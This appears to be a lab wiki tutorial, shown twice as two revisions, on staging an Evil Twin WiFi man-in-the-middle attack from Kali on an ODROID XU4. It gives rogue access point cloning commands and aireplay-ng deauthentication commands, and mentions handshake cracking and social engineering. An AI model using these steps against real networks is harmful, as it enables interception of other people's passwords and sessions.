The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim's device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the "best" available access point.

If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point's password with their customer base. But even a private WiFi hotspot's password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.

== Requirements/Hardware==

Operating system: [Kali Linux ODROID-XU3[https://www.offensive-security.com/kali-linux-arm-images/]]

Hardware:
* Exisiting WiFi hotspot for impersonation
* Client connected to WiFi hotspot
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)
* eMMC (min. 8GB)
* microSD (min. 8GB)
* microSD to USB adapter
* Mouse
* Keyboard
* Monitor (via HDMI)
* Two WiFi adapters (e.g. Alfa AWUS036EAC)

== Installing Kali on ODROID XU4 ==

=== Step 1: Download ===

Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.

=== Step 2: Preparation ===
* Insert the microSD card into you PC (if required use the adapter)
* Format the microSD card with e.g. ["SD Fortmatter" [https://sd-card-formatter.de.uptodown.com/windows]]. If you use "SD Formatter": don't forget to check "Format Size Adjustment" in "Options".
* Add the OS to the microSD card. Required: a program to create bootable devices, e.g. [Win32 Disk Imager for Windows [https://win32diskimager.download/]].

=== Step 3: Installing ===
For the following steps you might need the [manual of ODROID XU4 [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf]] to see where the mentioned parts are located.
* Stick the eMMC to the ODROID XU4
* Switch the Boot Mode Selector to "microSD"
* Put in the microSD card
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.
* After that: attach the power supply.

If all steps were performed correctly:
* The fan of the ODROID XU4 starts
* The blue LED should be on (solid light): bootloader running.
* Monitor should display booting.
This can take a while.

Username: kali
Password: kali

States of the ODROID XU4 LED:
* red LED: is on when power is available
* blue LED (solid): when the bootloader is running
* blue LED (blinks slowly, like a heartbeat): kernel is running
* blue LED (blinks fast): kernel is in panic mode

== Performing Evil Twin on ODROID XU4 ==
'''First, add the WiFi adapter to the XU4, reboot and check if it is recognized:'''
sudo reboot
sudo ifconfg

'''See the available interfaces'''
sudo iwconfig

'''Check status of wireless interfaces'''
sudo airmon-ng

'''Start monitor mode on the available wireless interface'''.
sudo airmon-ng start <interface> <channel>
Cue: Output has to contain "monitor mode enabled"

'''Eventually kill processes and execute command again'''
sudo airmon-ng check kill
sudo airmon-ng start <interface> <channel>

'''Capture packets'''
sudo airodump-ng <interface> -c <channel>
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.

'''Creating the twin'''
sudo airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.

In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.

'''Telling the Client to get lost'''

Disconnect all Clients:
sudo aireplay-ng --deauth 0 -a <BSSID> <interface>--ignore-negative-one
The "0" indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.
But this command sometimes doesn't work because it could produce a broadcast storm, so some WiFi routers filter them.

Disconnect a specific client:
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:
sudo airodump-ng wlan0 --bssid <routers BSSID> -c <routers channel>
Then execute the deauth-command:
sudo aireplay-ng --deauth 0 -c <devices MAC address> -a <routers MAC address> interface>

'''Error handling'''

If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:
sudo aireplay-ng --test wlan0

== References ==

* https://wiki.odroid.com/odroid-xu4/odroid-xu4
* https://www.offensive-security.com/kali-linux-arm-images/
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html
[[Category:Documentation]]

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T18:38:49Z

JHangstein: Updated summary to give a more in-depth overview over the attack and its implications. Added a paragraph detailing MitM.

== Summary ==

The Evil Twin (ET) Attack is a type of Machine-in-the-Middle (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the "evil twin" AP.

The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim's data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.

The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim's device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the "best" available access point.

If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point's password with their customer base. But even a private WiFi hotspot's password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.

== Requirements/Hardware==

Operating system: [Kali Linux ODROID-XU3[https://www.offensive-security.com/kali-linux-arm-images/]]

Hardware:
* WiFi
* Client connected to WiFi
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)
* eMMC (min. 8GB)
* microSD (min. 8GB)
* microSD to USB adapter
* Mouse
* Keyboard
* Monitor (via HDMI)
* WiFi adapter (e.g. Alfa AWUS036EAC)

== Installing Kali on ODROID XU4 ==

=== Step 1: Download ===

Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.

=== Step 2: Preparation ===
* Insert the microSD card into you PC (if required use the adapter)
* Format the microSD card with e.g. ["SD Fortmatter" [https://sd-card-formatter.de.uptodown.com/windows]]. If you use "SD Formatter": don't forget to check "Format Size Adjustment" in "Options".
* Add the OS to the microSD card. Required: a program to create bootable devices, e.g. [Win32 Disk Imager for Windows [https://win32diskimager.download/]].

=== Step 3: Installing ===
For the following steps you might need the [manual of ODROID XU4 [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf]] to see where the mentioned parts are located.
* Stick the eMMC to the ODROID XU4
* Switch the Boot Mode Selector to "microSD"
* Put in the microSD card
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.
* After that: attach the power supply.

If all steps were performed correctly:
* The fan of the ODROID XU4 starts
* The blue LED should be on (solid light): bootloader running.
* Monitor should display booting.
This can take a while.

Username: kali
Password: kali

States of the ODROID XU4 LED:
* red LED: is on when power is available
* blue LED (solid): when the bootloader is running
* blue LED (blinks slowly, like a heartbeat): kernel is running
* blue LED (blinks fast): kernel is in panic mode

== Performing Evil Twin on ODROID XU4 ==
'''First, add the WiFi adapter to the XU4, reboot and check if it is recognized:'''
sudo reboot
sudo ifconfg

'''See the available interfaces'''
sudo iwconfig

'''Check status of wireless interfaces'''
sudo airmon-ng

'''Start monitor mode on the available wireless interface'''.
sudo airmon-ng start <interface> <channel>
Cue: Output has to contain "monitor mode enabled"

'''Eventually kill processes and execute command again'''
sudo airmon-ng check kill
sudo airmon-ng start <interface> <channel>

'''Capture packets'''
sudo airodump-ng <interface> -c <channel>
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.

'''Creating the twin'''
sudo airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.

In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.

'''Telling the Client to get lost'''

Disconnect all Clients:
sudo aireplay-ng --deauth 0 -a <BSSID> <interface>--ignore-negative-one
The "0" indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.
But this command sometimes doesn't work because it could produce a broadcast storm, so some WiFi routers filter them.

Disconnect a specific client:
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:
sudo airodump-ng wlan0 --bssid <routers BSSID> -c <routers channel>
Then execute the deauth-command:
sudo aireplay-ng --deauth 0 -c <devices MAC address> -a <routers MAC address> interface>

'''Error handling'''

If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:
sudo aireplay-ng --test wlan0

== References ==

* https://wiki.odroid.com/odroid-xu4/odroid-xu4
* https://www.offensive-security.com/kali-linux-arm-images/
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html
[[Category:Documentation]]